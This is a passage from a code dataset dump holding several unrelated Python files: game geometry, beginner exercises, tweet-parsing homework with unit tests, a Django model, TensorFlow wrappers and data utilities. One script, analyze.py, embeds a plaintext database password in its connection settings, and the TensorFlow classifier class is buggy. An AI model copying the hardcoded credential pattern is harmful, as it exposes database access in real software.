center.getX(), center.getY()\n q = ((x-cx) * math.sqrt(3)/3 - (y-cy) / 3) / size\n r = (y-cy) * 2/3 / size\n q = math.floor(q+.5) if q > 0 else math.ceil(q-.5)\n r = math.floor(r+.5) if r > 0 else math.ceil(r-.5)\n return Point(q, r)\n\ndef hex_to_pixel(center, size, q, r):\n x = size * 3/2 * q\n y = size * math.sqrt(3) * (r + q/2)\n return Point(x + center.x, y + center.y)\n\ndef vertex_to_pixel(center, size, q, r):\n x = size * math.sqrt(3) * (q + r/2)\n y = size * 3/2 * r\n return Point(x + center.x, y + center.y)\n\n\n\nmain()","sub_path":"Python/CatanApr14.py","file_name":"CatanApr14.py","file_ext":"py","file_size_in_byte":11758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"54000396","text":"import random\n\n# 1. Создать функцию которая генерирует 10 чисел от 0 до 10 и выводит их.\ndef test():\n for i in range(0, 10):\n n = random.randint(1, 10)\n print(str(i + 1) + \". n = \" + str(n))\n\n# 2. Создать функцию которая принимает 3 параметра и выводит максимальное из них.\ndef test2(a, b, c):\n if a > b and a > c:\n return a\n elif b > a and b > c:\n return b\n elif c > a and c > b:\n return c\n\n#test()\n\n'''\nprint(test2(4, 40, 30))\nprint(test2(4, 30, 60))\nprint(test2(70, 15, 40))\n'''\n\n_ = 2\n__ = 3\n___=4\nmy_age = 150\n\n#vars with correct names\n\nmy_name = 1\n_ = 3\n\n#vars with incorrect names\n'''\n- = 2\n. = 3 \n^!%^ = 2\n*^_=3\n'''\n#print(_+__+___+my_age) # 2+3+4 = 9\n\n\n'''\naaa = 2+\n. = 3 -\na2a = 3 +\na22 = 5 +\n2a2 = 3 -\n_a = 5 +\na_ = 6 +\na 2 = 7 -\na-a = 8 -\n'''\n\nage = 8\naGe = 10\nAGE = 12\nAge = 13\nagE = 14\nAgE = 15\nAGe = 16\naGE = 17\nprint (age+aGe+AGE)\n\nx, y, z, w= \"Orange\", \"Banana\", \"Cherry\", \"Apple\"\nprint(x)\nprint(y)\nprint(z)\nprint(w)\n\n","sub_path":"june/11.06.py","file_name":"11.06.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"651169744","text":"import load\n \npath = r\"Z:\\Favorites\\SCL17 (Small Business Energy Solutions)\\6 Data Exchange\\SCL\\Data Examples\"\nfilename = r'\\SCL Customer List_250kW SMB.xlsx'\nfilepath = path + filename\n# sfitem = open(filepath)\n\nconnsettings = {\n 'host': 'localhost',\n 'port': 5432,\n 'user': 'postgres',\n 'password': 'RangeBreak99.',\n 'db': 'scl_eda',\n } \n\nreturn_value = load.SQL_load_to_postgre(\n file_obj=filepath,\n sheet_name='Unique',\n header_row=1,\n field_type_row=-1,\n field_names={},\n field_types={},\n primary_key_fields=[''],\n join_fields=[],\n index_fields=[''], \n date_fields=[],\n null_values={},\n table_name = 'scl_eda.accounts', \n conn_settings = connsettings, \n table_action=load.load_type.OVERWRITE)\n\nprint(return_value)\n","sub_path":"code/analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"639973182","text":"import xml.etree.ElementTree as ET\r\n\r\ntree = ET.parse('Africa.xml')\r\n\r\ndata_dict = {}\r\n\r\ndef count_words(the_list):\r\n for word in the_list:\r\n if len(word) > 6:\r\n if word not in data_dict.keys():\r\n data_dict[word] = 1\r\n else:\r\n data_dict[word] += 1\r\n\r\ndef count_top_10(the_dict):\r\n keys_list = []\r\n values_list = sorted(the_dict.values())[-1:-11:-1]\r\n for value in values_list:\r\n for key, val in the_dict.items():\r\n if val == value:\r\n keys_list.append(key)\r\n the_dict[key] = 0\r\n if len(keys_list) == 10:\r\n break\r\n print('TОП 10:\\n')\r\n for i in range(10):\r\n print(f'\\\"{keys_list[i]}\\\" - {values_list[i]} раз')\r\n\r\nthe_news = tree.findall('channel/item/description')\r\n\r\nfor new in the_news:\r\n new_string = new.text\r\n words_list = new_string.lower().split()\r\n count_words(words_list)\r\n\r\ncount_top_10(data_dict)\r\n","sub_path":"file_2.py","file_name":"file_2.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"305570903","text":"from __future__ import absolute_import, unicode_literals\nimport logging\nfrom celery.task import task\nfrom .builder import direct\n\n\n@task(name=\"DailyGooseBuilder\")\ndef build_goose(delta):\n db_logger = logging.getLogger('aprp')\n\n logger_extra = {\n 'type_code': 'LOT-gooses',\n }\n try:\n result = direct(delta=delta)\n if result.success:\n logger_extra['duration'] = result.duration\n db_logger.info('Successfully process trans: %s - %s' % (result.start_date, result.end_date), extra=logger_extra)\n except Exception as e:\n db_logger.exception(e, extra=logger_extra)\n","sub_path":"src/apps/gooses/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"553914299","text":"from collections import *\n\n\ndef unikati(s):\n s2 = []\n for e in s:\n if e not in s2:\n s2.append(e)\n return(s2)\n\n\ndef avtor(tvit):\n ts = tvit.split(\":\")\n return ts[0]\n\n\ndef vsi_avtorji(tviti):\n s = []\n for t in tviti:\n a = avtor(t)\n s.append(a)\n return unikati(s)\n\n\ndef izloci_besedo(beseda):\n bes = beseda\n a = bes.isalnum()\n while not a:\n b = bes[0].isalnum()\n c = bes[-1].isalnum()\n if not b:\n bes = bes[1:]\n if not c:\n bes = bes[:-1]\n if b and c:\n break\n return bes\n\n\n\ndef se_zacne_z(tvit, c):\n t = tvit.split()\n s = []\n for e in t:\n if e[0] == c:\n e = izloci_besedo(e)\n s.append(e)\n return s\n\n# Napišite funkcijo zberi_se_zacne_z(tviti, c), ki je podobna prejšnji, vendar prejme seznam tvitov in\n# vrne vse besede, ki se pojavijo v njih in se začnejo s podano črko. Poleg tega naj se vsaka beseda\n# pojavi le enkrat. Če pokličemo zberi_se_zacne_z(tviti, \"@\") (kjer so tviti gornji tviti), vrne\n# ['sandra', 'berta', 'cilka', 'dani', 'benjamin', 'ana']. Vrstni red besed v seznamu je enak vrstnemu\n# redu njihovih pojavitev v tvitih.\n\ndef zberi_se_zacne_z(tviti, c):\n s = []\n for tvit in tviti:\n a = se_zacne_z(tvit, c)\n if a != []:\n s.extend(a)\n return unikati(s)\n\n# Napišite funkcijo vse_afne(tviti), ki vrne vse besede v tvitih, ki se začnejo z @.\n# Če ji podamo gornje tvite, mora vrniti ['sandra', 'berta', 'cilka', 'dani', 'benjamin', 'ana'].\n\ndef vse_afne(tviti):\n return zberi_se_zacne_z(tviti, \"@\")\n\n#Napišite funkcijo vsi_hashtagi(tviti). Za gornje tvite vrne\n#['dougcajt', 'programiranje1', 'krneki', 'luft', 'zalosten', 'split'].\n\ndef vsi_hashtagi(tviti):\n return zberi_se_zacne_z(tviti, \"#\")\n\n#Napišite funkcijo vse_osebe(tviti), ki vrne po abecedi urejen seznam vseh oseb,\n# ki nastopajo v tvitih - bodisi kot avtorji, bodisi so omenjene v tvitih.\n# Vsaka oseba naj se pojavi le enkrat. Za gornje tvite funkcija vrne\n# ['ana', 'benjamin', 'berta', 'cilka', 'dani', 'ema', 'sandra'].\n\ndef vse_osebe(tviti):\n a = vsi_avtorji(tviti)\n b = vse_afne(tviti)\n b.extend(a)\n b.sort()\n return unikati(b)\n\n # Obvezne naloge\n\n#Funkcija besedilo(tvit) prejme tvit in vrne besedilo - torej vse, kar sledi prvemu dvopičju.\n # Klic besedilo(\"ana: kdo so te: @berta, @cilka, @dani?\") vrne \"kdo so te: @berta, @cilka, @dani?.\n\ndef besedilo(tvit):\n tvit = tvit.split(\": \", 1)\n a = tvit[0]\n b = tvit[1]\n return b\n\n\n#Funkcija zadnji_tvit(tviti) prejme seznam tvitov in vrne slovar, katerega ključi so avtorji tvitov,\n # vrednosti pa njihovi tviti. Če je en in isti avtor napisal več tvitov, naj bo v slovarju njegov\n # zadnji tvit. Rezultat je lahko, recimo\n\n#{\"berta\": \"@sandra Delaj domačo za #programiranje1\",\n# \"sandra\": \"@berta Ne maram #programiranje1 #krneki\",\n# \"ana\": \"kdo so te: @berta, @cilka, @dani? #krneki\"}\n#če so to edini trije avtorji in so to njihovi (zadnji) tviti.\n\ndef zadnji_tvit(tviti):\n s = {}\n for tvit in tviti:\n a = avtor(tvit)\n b = besedilo(tvit)\n s[a] = b\n return s\n\n#Funkcija prvi_tvit(tviti) je jako podobna, le da v primeru, da je ista oseba napisala več tvitov,\n# obdrži njen prvi tvit.\n\ndef prvi_tvit(tviti):\n s = {}\n for tvit in tviti:\n a = avtor(tvit)\n b = besedilo(tvit)\n if a not in s:\n s[a] = b\n return s\n\n#Funkcija prestej_tvite(tviti) vrne slovar, katerega ključi so (spet) avtorji, pripadajoče vrednosti\n # pa število tvitov, ki so jih napisali, na primer {\"sandra\": 2, \"berta\": 1, \"ana\": 1, \"cilka\": 4, \"benjamin\": 1}\n\ndef prestej_tvite(tviti):\n s = defaultdict(int)\n for tvit in tviti:\n a = avtor(tvit)\n b = besedilo(tvit)\n s[a] += 1\n return s\n\n\n#Funkcija omembe(tviti) vrne slovar, katerega ključi so avtorji tvitov, vrednosti pa seznami oseb,\n # ki so jih ti avtorji omenjali v svojih tvitih. Vrstni red oseb mora biti enak vrstnemu redu omenjanj.\n # Funkcija lahko vrne, recimo\n#{\"sandra\": [\"berta\", \"benjamin\", \"ana\"],\n#\"benjamin\": [],\n#\"cilka\": [],\n#\"berta\": [\"sandra\"],\n#\"ana\": [\"berta\", \"cilka\", \"dani\"]}\ndef omembe(tviti):\n s = defaultdict(list)\n for tvit in tviti:\n a = avtor(tvit)\n b = se_zacne_z(tvit, \"@\")\n if b != []:\n s[a] += b\n else: s[a] += []\n return s\n\n\n\n#Funkcija neomembe(ime, omembe) prejme ime neke osebe in takšen slovar, kakršnega vrne gornja funkcija.\n# Vrniti mora seznam vseh ljudi, ki so avtorji kakega tvita, podana oseba (ime) pa jih ni omenjala.\n# Če funkciji kot argument podamo ime \"Ana\" in gornji slovar, mora vrniti [\"sandra\", \"benjamin],\n# saj Ana ni omenjala Sandre in Benjamina, Cilko in Berto pa je. Iz seznama naj bo seveda izključena\n# oseba sama (v tem primeru Ana). Vrstni red oseb v seznamu je lahko poljuben.\n\ndef neomembe(ime, omembe):\n avtorji = omembe.keys() #vsi avtorji\n s = []\n for avtor, om in omembe.items():\n if avtor == ime:\n for a in avtorji:\n if a != ime and a not in om:\n s.append(a)\n return s\n\n\n\n\n#Dodatna naloga\n\n#Napišite funkcijo se_poznata(ime1, ime2, omembe), ki je podobna kot v prejšnji domači nalogi,\n# le da kot argument namesto tvitov dobi gornji slovar. Povedati mora, ali je prva oseba kdaj\n# omenila drugo (ali obratno) ali ne. Funkcija vrne True ali False.\n\ndef se_poznata(ime1, ime2, omembe):\n s1 = []\n s2 = []\n for av, om in omembe.items():\n if av == ime1:\n s1 = om\n if av == ime2:\n s2 = om\n if ime1 in s2 or ime2 in s1:\n return True\n else: return False\n\n #custva(tviti, hashtagi), ki prejme seznam tvitov in seznam hashtagov (brez začetnega #).\n # Vrne naj vse avtorje, ki so uporabili vsaj enega od naštetih tagov. Avtorji naj bodo\n # urejeni po abecedi in vsak naj se pojavi le enkrat. Klic custva(tviti, [\"dougcajt\",\n # \"krneki\"]) vrne [\"ana\", \"sandra\"].\n\n#def custva(tviti, hashtagi):\n # avtorji = []\n # for tvit in tviti:\n # if neprazen_presek(se_zacne_z(tvit, \"#\"), hashtagi):\n # avtorji.append(avtor(tvit))\n # avtorji.sort()\n # return unikati(avtorji)\n\n\ndef custva(tviti, hashtagi):\n return unikati(sorted(avtor(tvit) for tvit in tviti if set(hashtagi) & set(se_zacne_z(tvit, \"#\"))))\n\n\n#Napišite funkcijo hashtagi(tviti), ki prejme seznam tvitov in vrne slovar, katerega ključi so\n# hashtagi (brez znaka #), pripadajoče vrednosti pa seznami avtorjev, ki so uporabili ta hashtagi.\n# Avtorji naj bodo urejeni po abecedi.\n\ndef hashtagi(tviti):\n s = {}\n for h in vsi_hashtagi(tviti):\n s[h] = custva(tviti, [h])\n return s\n\n\n\n\n\n\n\n\n\n\n\n\n\nimport unittest\n\nclass TestObvezna(unittest.TestCase):\n maxDiff = 10000\n\n def test_1_besedilo(self):\n self.assertEqual(besedilo(\"sandra: Spet ta dež. #dougcajt\"),\n \"Spet ta dež. #dougcajt\")\n self.assertEqual(besedilo(\"ana: kdo so te: @berta, @cilka, @dani? #krneki\"),\n \"kdo so te: @berta, @cilka, @dani? #krneki\")\n\n def test_2_zadnji_tvit(self):\n self.assertDictEqual(\n zadnji_tvit([\n \"sandra: Spet ta dež. #dougcajt\",\n \"berta: @sandra Delaj domačo za #programiranje1\",\n \"sandra: @berta Ne maram #programiranje1 #krneki\",\n \"ana: kdo so te: @berta, @cilka, @dani? #krneki\",\n \"cilka: jst sm pa #luft\",\n \"benjamin: pogrešam ano #zalosten\",\n \"cilka: @benjamin @ana #split? po dvopičju, za začetek?\"]),\n {\"berta\": \"@sandra Delaj domačo za #programiranje1\",\n \"sandra\": \"@berta Ne maram #programiranje1 #krneki\",\n \"ana\": \"kdo so te: @berta, @cilka, @dani? #krneki\",\n \"benjamin\": \"pogrešam ano #zalosten\",\n \"cilka\": \"@benjamin @ana #split? po dvopičju, za začetek?\"})\n\n self.assertDictEqual(\n zadnji_tvit([\n \"sandra: Spet ta dež. #dougcajt\",\n \"sandra: @sandra Delaj domačo za #programiranje1\",\n \"sandra: @berta Ne maram #programiranje1 #krneki\",\n \"ana: kdo so te: @berta, @cilka, @dani? #krneki\",\n \"sandra: jst sm pa #luft\",\n \"benjamin: pogrešam ano #zalosten\",\n \"sandra: @benjamin @ana #split? po dvopičju, za začetek?\"]),\n {\"ana\": \"kdo so te: @berta, @cilka, @dani? #krneki\",\n \"benjamin\": \"pogrešam ano #zalosten\",\n \"sandra\": \"@benjamin @ana #split? po dvopičju, za začetek?\"})\n\n self.assertDictEqual(\n zadnji_tvit([\"ana: kdo so te: @berta, @cilka, @dani? #krneki\"]),\n {\"ana\": \"kdo so te: @berta, @cilka, @dani? #krneki\"})\n\n self.assertEqual(zadnji_tvit([]), {})\n\n\n def test_3_prvi_tvit(self):\n self.assertDictEqual(\n prvi_tvit([\n \"sandra: Spet ta dež. #dougcajt\",\n \"berta: @sandra Delaj domačo za #programiranje1\",\n \"sandra: @berta Ne maram #programiranje1 #krneki\",\n \"ana: kdo so te: @berta, @cilka, @dani? #krneki\",\n \"cilka: jst sm pa #luft\",\n \"benjamin: pogrešam ano #zalosten\",\n \"cilka: @benjamin @ana #split? po dvopičju, za začetek?\"]),\n {\"sandra\": \"Spet ta dež. #dougcajt\",\n \"berta\": \"@sandra Delaj domačo za #programiranje1\",\n \"ana\": \"kdo so te: @berta, @cilka, @dani? #krneki\",\n \"cilka\": \"jst sm pa #luft\",\n \"benjamin\": \"pogrešam ano #zalosten\"})\n\n self.assertDictEqual(\n prvi_tvit([\n \"sandra: Spet ta dež. #dougcajt\",\n \"sandra: @sandra Delaj domačo za #programiranje1\",\n \"sandra: @berta Ne maram #programiranje1 #krneki\",\n \"ana: kdo so te: @berta, @cilka, @dani? #krneki\",\n \"sandra: jst sm pa #luft\",\n \"benjamin: pogrešam ano #zalosten\",\n \"sandra: @benjamin @ana #split? po dvopičju, za začetek?\"]),\n {\"sandra\": \"Spet ta dež. #dougcajt\",\n \"ana\": \"kdo so te: @berta, @cilka, @dani? #krneki\",\n \"benjamin\": \"pogrešam ano #zalosten\"})\n\n self.assertDictEqual(\n prvi_tvit([\"ana: kdo so te: @berta, @cilka, @dani? #krneki\"]),\n {\"ana\": \"kdo so te: @berta, @cilka, @dani? #krneki\"})\n\n self.assertEqual(prvi_tvit([]), {})\n\n def test_4_prestej_tvite(self):\n self.assertDictEqual(\n prestej_tvite([\n \"sandra: Spet ta dež. #dougcajt\",\n \"berta: @sandra Delaj domačo za #programiranje1\",\n \"sandra: @berta Ne maram #programiranje1 #krneki\",\n \"ana: kdo so te: @berta, @cilka, @dani? #krneki\",\n \"cilka: jst sm pa #luft\",\n \"benjamin: pogrešam ano #zalosten\",\n \"cilka: @benjamin @ana #split? po dvopičju, za začetek?\"]),\n {\"sandra\": 2, \"berta\": 1, \"ana\": 1, \"cilka\": 2, \"benjamin\": 1})\n\n self.assertDictEqual(\n prestej_tvite([\n \"sandra: Spet ta dež. #dougcajt\",\n \"sandra: @sandra Delaj domačo za #programiranje1\",\n \"sandra: @berta Ne maram #programiranje1 #krneki\",\n \"ana: kdo so te: @berta, @cilka, @dani? #krneki\",\n \"sandra: jst sm pa #luft\",\n \"benjamin: pogrešam ano #zalosten\",\n \"sandra: @benjamin @ana #split? po dvopičju, za začetek?\"]),\n {\"sandra\": 5, \"ana\": 1, \"benjamin\": 1})\n\n self.assertDictEqual(\n prestej_tvite([\"ana: kdo so te: @berta, @cilka, @dani? #krneki\"]),\n {\"ana\": 1})\n\n self.assertEqual(prestej_tvite([]), {})\n\n def test_5_omembe(self):\n self.assertDictEqual(\n omembe([\"sandra: Spet ta dež. #dougcajt\",\n \"berta: @sandra Delaj domačo za #programiranje1\",\n \"sandra: @berta Ne maram #programiranje1 #krneki\",\n \"ana: kdo so te: @berta, @cilka, @dani? #krneki\",\n \"cilka: jst sm pa #luft\",\n \"benjamin: pogrešam ano #zalosten\",\n \"sandra: @benjamin @ana #split? po dvopičju, za začetek?\"]),\n {\"sandra\": [\"berta\", \"benjamin\", \"ana\"],\n \"benjamin\": [],\n \"cilka\": [],\n \"berta\": [\"sandra\"],\n \"ana\": [\"berta\", \"cilka\", \"dani\"]}\n )\n\n def test_6_neomembe(self):\n omembe = {\"sandra\": [\"berta\", \"benjamin\", \"ana\"],\n \"benjamin\": [],\n \"cilka\": [],\n \"berta\": [\"sandra\"],\n \"ana\": [\"berta\", \"cilka\", \"dani\", \"benjamin\", \"sandra\"]}\n\n self.assertEqual(neomembe(\"sandra\", omembe), [\"cilka\"])\n self.assertEqual(neomembe(\"ana\", omembe), [])\n self.assertEqual(set(neomembe(\"benjamin\", omembe)), set(omembe) - {\"benjamin\"})\n\nclass TestDodatna(unittest.TestCase):\n def test_1_se_poznata(self):\n omembe = {\"sandra\": [\"berta\", \"benjamin\", \"ana\"],\n \"benjamin\": [],\n \"cilka\": [],\n \"berta\": [\"sandra\"],\n \"ana\": [\"berta\", \"cilka\", \"dani\"]}\n\n self.assertTrue(se_poznata(\"ana\", \"berta\", omembe))\n self.assertTrue(se_poznata(\"berta\", \"ana\", omembe))\n self.assertTrue(se_poznata(\"sandra\", \"benjamin\", omembe))\n self.assertTrue(se_poznata(\"benjamin\", \"sandra\", omembe))\n\n self.assertFalse(se_poznata(\"benjamin\", \"ana\", omembe))\n self.assertFalse(se_poznata(\"ana\", \"benjamin\", omembe))\n\n self.assertFalse(se_poznata(\"cilka\", \"dani\", omembe))\n self.assertFalse(se_poznata(\"pavel\", \"peter\", omembe))\n\n def test_2_hashtagi(self):\n self.assertDictEqual(\n hashtagi([\"sandra: Spet ta dež. #dougcajt\",\n \"berta: @sandra Delaj domačo za #programiranje1\",\n \"sandra: @berta Ne maram #programiranje1 #krneki\",\n \"ana: kdo so te @berta, @cilka, @dani? #krneki\",\n \"cilka: jst sm pa #luft\",\n \"benjamin: pogrešam ano #zalosten\",\n \"ema: @benjamin @ana #split? po dvopičju, za začetek?\"]),\n {'dougcajt': ['sandra'],\n 'krneki': ['ana', 'sandra'],\n 'luft': ['cilka'],\n 'programiranje1': ['berta', 'sandra'],\n 'split': ['ema'],\n 'zalosten': ['benjamin']})\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n\n","sub_path":"code/batch-2/dn6 - spet tviti/M-17187-2630.py","file_name":"M-17187-2630.py","file_ext":"py","file_size_in_byte":14670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"268616801","text":"from uuid import uuid4\nfrom django.db import models\nfrom application.models import Application, AdultInHome\nfrom datetime import date\n\n\nclass AdultInHomeAddress(models.Model):\n \"\"\"\n Model for ADULT_IN_HOME_ADDRESS table\n \"\"\"\n\n adult_in_home_address_id = models.UUIDField(primary_key=True,\n default=uuid4)\n adult_id = models.OneToOneField(AdultInHome,\n on_delete=models.CASCADE,\n db_column=\"adult_id\")\n application_id = models.ForeignKey(\n Application, on_delete=models.CASCADE, db_column=\"application_id\"\n )\n adult_in_home_address = models.IntegerField(blank=True, null=True)\n street_line1 = models.CharField(max_length=100, blank=True)\n street_line2 = models.CharField(max_length=100, blank=True)\n town = models.CharField(max_length=100, blank=True)\n county = models.CharField(max_length=100, blank=True)\n country = models.CharField(max_length=100, blank=True)\n postcode = models.CharField(max_length=8, blank=True)\n\n moved_in_day = models.IntegerField(blank=True, null=True)\n moved_in_month = models.IntegerField(blank=True, null=True)\n moved_in_year = models.IntegerField(blank=True, null=True)\n\n @property\n def timelog_fields(self):\n \"\"\"\n Specify which fields to track in this model once application is returned.\n\n Used for signals only. Check base.py for available signals.\n This is used for logging fields which gonna be updated by applicant\n once application status changed to \"FURTHER_INFORMATION\" on the arc side\n\n Returns:\n tuple of fields which needs update tracking when application is returned\n \"\"\"\n\n return (\n \"adult_in_home_address\",\n \"street_line1\",\n \"street_line2\",\n \"town\",\n \"county\",\n \"country\",\n \"postcode\",\n \"moved_in_day\",\n \"moved_in_month\",\n \"moved_in_year\",\n )\n\n class Meta:\n db_table = \"ADULT_IN_HOME_ADDRESS\"\n\n def get_moved_in_date(self):\n if not all((self.moved_in_year, self.moved_in_month, self.moved_in_day)):\n return None\n return date(self.moved_in_year, self.moved_in_month, self.moved_in_day)\n\n def set_moved_in_date(self, moved_in_date):\n self.moved_in_year = moved_in_date.year\n self.moved_in_month = moved_in_date.month\n self.moved_in_day = moved_in_date.day\n\n @classmethod\n def get_id(cls, app_id):\n adult_id = AdultInHome.get_id(app_id)\n return cls.objects.get(adult_id=adult_id)\n\n def get_full_adress(self):\n return [\n self.street_line1,\n self.street_line2,\n self.town,\n self.county,\n self.country,\n self.postcode,\n ]\n","sub_path":"application/models/adult_in_home_address.py","file_name":"adult_in_home_address.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"577002759","text":"from typing import *\nimport logging\n\ntry:\n import coloredlogs\nexcept ImportError:\n coloredlogs = None\n\nl: logging.Logger = logging.getLogger(__name__)\n\n\ndef init_logging(logging_cfg: Dict[str, Any]):\n loggers_cfg = logging_cfg[\"Loggers\"]\n for logger_name in loggers_cfg:\n if logger_name == \"root\":\n log: logging.Logger = logging.root\n else:\n log: logging.Logger = logging.getLogger(logger_name)\n log.setLevel(loggers_cfg[logger_name])\n\n stream_handler = logging.StreamHandler()\n if coloredlogs is not None:\n stream_handler.formatter = coloredlogs.ColoredFormatter(logging_cfg[\"log_format\"], style=\"{\")\n else:\n stream_handler.formatter = logging.Formatter(logging_cfg[\"log_format\"], style=\"{\")\n if len(logging.root.handlers) < 1:\n logging.root.addHandler(stream_handler)\n\n l.debug(\"Logging: ready\")\n","sub_path":"royalnet/utils/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"559568176","text":"import tensorflow as tf\nimport numpy as np\nclass SegmentionModel:\n def __init__(self):\n self.sess = None\n self.graph = None\n self.input = None\n self.output = None\n self.saver=None\n self.class_num=None\n self.var_file=None\n self.graph_file=None\n\n def predict(self, input_data):\n test_data = input_data.reshape(self.input_shape)\n batch_size=test_data.shape[0]\n out_shape=[batch_size]\n out_shape+=self.output_shape[1:]\n tmp_output=np.zeros(shape=out_shape)\n op_input=self.input\n op_output=self.output\n result=self.sess.run(op_output,feed_dict={op_input:test_data})\n output=result\n return output\n \n def init_model(self,input_op_name=None,output_op_name=None):\n if input_op_name is None:\n input_op_name='Input/x:0'\n if output_op_name is None:\n output_op_name='Output/Reshape:0'\n\n keys=self.graph.get_operations()\n op_names=list(map(lambda k: k.name, keys))\n\n\n self.input=[]\n op_name,op_index=input_op_name.split(':')\n if op_name in op_names:\n self.input=self.graph.get_operation_by_name(op_name).outputs[int(op_index)]\n else:\n raise IndexError('In model:%s No Op named as input_op_name:%s'%(m_dir,input_op_name))\n self.output=None\n op_name,op_index=output_op_name.split(':')\n if op_name in op_names:\n self.output=self.graph.get_operation_by_name(op_name).outputs[int(op_index)]\n else:\n raise IndexError('In model:%s No Op named as output_op_name:%s'%(m_dir,output_op_name))\n #初始化输入输出参数\n self.input_shape=[-1]\n self.output_shape=[-1]\n self.input_shape+=self.input.shape[1:].as_list()\n self.output_shape+=self.output.shape[1:].as_list()\n\n\n def load_from_files(self,meta_file,var_file):\n self.var_file=var_file\n self.meta_file=meta_file\n self.graph=tf.Graph()\n with self.graph.as_default():\n self.saver=tf.train.import_meta_graph(meta_file)\n\n self.sess=tf.Session(graph=self.graph)\n with self.sess.as_default() as s_d:\n with self.graph.as_default() as g_d:\n self.saver.restore(s_d,var_file)\n\n def load_from_checkpoint_dir(self,checkpoint_dir):\n ckpoint=tf.train.latest_checkpoint(checkpoint_dir)\n var_file=ckpoint\n meta_file=ckpoint+'.meta'\n self.load_from_files(meta_file,var_file)\n\n\n def __del__(self):\n if self.sess:\n self.sess.close()\n self.sess=None\n\nclass ClassifyModel:\n def __init__(self,args):\n if args.model_type!='model_detection.classify_model':\n return\n\n self.sesses = {}\n self.graphs = {}\n self.inputs = {}\n self.outputs = {}\n self.savers={}\n self.class_num=args.class_num\n self.xgb_model_file=args.xgb_model_file\n self.xgb_model=ic.integrated_classifier(self.xgb_model_file)\n\n for i in range(len(args.model_dirs)):\n m_dir=args.model_dirs\n g=tf.Graph()\n meta_file=m_dir+'.meta'\n var_file=m_dir\n if args.input_op_names:\n input_op_name=args.input_op_names\n else:\n input_op_name='Input/x'\n if args.output_op_names:\n output_op_name=args.output_op_names\n else:\n output_op_name='Output/Reshape'\n \n with g.as_default():\n self.savers=tf.train.import_meta_graph(meta_file)\n\n self.sesses=tf.Session(graph=g)\n with self.sesses.as_default() as s_d:\n with g.as_default() as g_d:\n self.savers.restore(s_d,var_file)\n self.graphs=g_d\n\n keys=self.graphs.get_operations()\n op_names=list(map(lambda k: k.name, keys))\n if input_op_name in op_names:\n self.inputs=self.graphs.get_operation_by_name(input_op_name).outputs[0]\n else:\n raise IndexError('In model:%s No Op named as input_op_name:%s'%(m_dir,input_op_name))\n if output_op_name in op_names:\n self.outputs=self.graphs.get_operation_by_name(output_op_name).outputs[0]\n # self.graphs.get_operation_by_name('Output/Layer_Dense/MatMul').inputs[0]\n # print(self.outputs)\n else:\n raise IndexError('In model:%s No Op named as output_op_name:%s'%(m_dir,output_op_name))\n #初始化输入输出参数\n self.input_shape=0\n self.output_shape=0\n for key in self.inputs:\n self.input_shape+=self.inputs.shape[-1].value\n self.output_shape+=self.outputs.shape[-1].value\n\n\n def classify(self, input_data):\n '''\n 作用:\n 输入patches数据,输入训练好的网络模型获得patches分类后的标签\n 参数:\n input_data: 输入的patches数据\n '''\n test_data = input_data.reshape([-1, 32, 32, self.input_shape]).astype(np.float32)\n input_index=0\n output_index=0\n tmp_output=np.zeros(shape=[test_data.shape[0],self.output_shape])\n for key in self.inputs:\n op_input=self.inputs\n op_output=self.outputs\n tmp_input=test_data[:,:,:,input_index:input_index+op_input.shape[-1].value]\n input_index+=op_input.shape[-1].value\n result=self.sesses.run(op_output,feed_dict={op_input:tmp_input})\n tmp_output[:,output_index:output_index+op_output.shape[-1].value]=result[0]\n output_index +=op_output.shape[-1].value\n \n # xgboost classify\n # print(tmp_output)\n f_result,f_probability =self.xgb_model.classifier(tmp_output)\n\n # print(f_result)\n return f_result,f_probability\n\n\n def __del__(self):\n if self.sesses:\n self.sesses.close()\n self.sesses=None\n","sub_path":"model/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"244264664","text":"#!/usr/bin/python\n\n\ndef outlierCleaner(predictions, ages, net_worths):\n \"\"\"\n Clean away the 10% of points that have the largest\n residual errors (difference between the prediction\n and the actual net worth).\n\n Return a list of tuples named cleaned_data where\n each tuple is of the form (age, net_worth, error).\n \"\"\"\n\n cleaned_data = []\n\n ### your code goes here\n clean_percent = 10\n total = len(net_worths)\n cleaned_total = int(total * (1 - 1./clean_percent))\n\n data_list = []\n errors_list = []\n for i in range(total):\n # Calculate error\n error = abs(net_worths[i] - predictions[i])\n # Create data\n age, net_worth = ages[i], net_worths[i]\n data_list.append( (age, net_worth, error) )\n # Create error list\n errors_list.append(error)\n\n sorted_data = [data for _,data in sorted(zip(errors_list, data_list))]\n cleaned_data = [sorted_data[i] for i in range(cleaned_total)]\n\n return cleaned_data\n","sub_path":"outliers/outlier_cleaner.py","file_name":"outlier_cleaner.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"320859162","text":"from ..base import MLClassifierBase\nimport numpy as np\nimport copy, random\nfrom scipy import sparse\n\nclass RandomOrderedClassifierChain(MLClassifierBase):\n \"\"\"Classifier Chains multi-label classifier.\"\"\"\n BRIEFNAME = \"CC\"\n \n def __init__(self, classifier = None):\n super(RandomOrderedClassifierChain, self).__init__(classifier)\n self.ordering = None\n\n def draw_ordering(self):\n self.ordering = random.sample(xrange(self.label_count), self.label_count)\n\n def 